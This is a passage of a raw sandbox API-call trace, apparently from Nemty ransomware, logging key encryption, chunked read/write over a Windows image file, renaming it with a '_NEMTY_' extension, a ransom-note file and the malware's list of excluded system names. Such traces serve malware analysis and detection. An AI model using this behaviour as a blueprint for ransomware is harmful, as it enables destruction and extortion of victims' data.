(in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0169.586] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0169.586] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0169.586] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="CzvuiBGkGxHUZGzkBMGn1qoN+PGXErcG3WbNrQ6o6rtIsDqEoBmZNgBAzqCLQlSY\r\njDI/reO2E6IyJFEFCLSpe6TBwCbQFty+w40FtdgTNqlQw+98TKepcezNE2c706ed\r\nbyoyXSM5cFu2uqisI0V4eGJtL8D+KwWPBYdl96SnxY7lnLA18y81fO/P/fajJYKe\r\nLaGmCjeXNcyJNErOKDml9a7Np3TARJItIL2YbOdffLv5I1JRdNdtkYe/+Fz9kDl+\r\nbJddY2/xxH+djd5cau0EVYjFzThMa1TzMqIkibMPU5LGr81hCfExPWU6heD1Mp00\r\na+GuqDCacAU5xBtWAIWryg==\r\n", pcchString=0x653e91c) returned 1 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0169.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.586] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_thunderstorm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.586] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0169.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.693] CloseHandle (hObject=0xffffffff) returned 0 [0169.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0169.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0169.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_thunderstorm.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_thunderstorm.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_thunderstorm.png._nemty_kgobjgd_")) returned 0 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.693] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd58b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xdcd58b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xdcd58b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd58b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xdcd58b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xdcd58b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.695] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0169.695] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0169.695] lstrcmpiW (lpString1="logo.png", 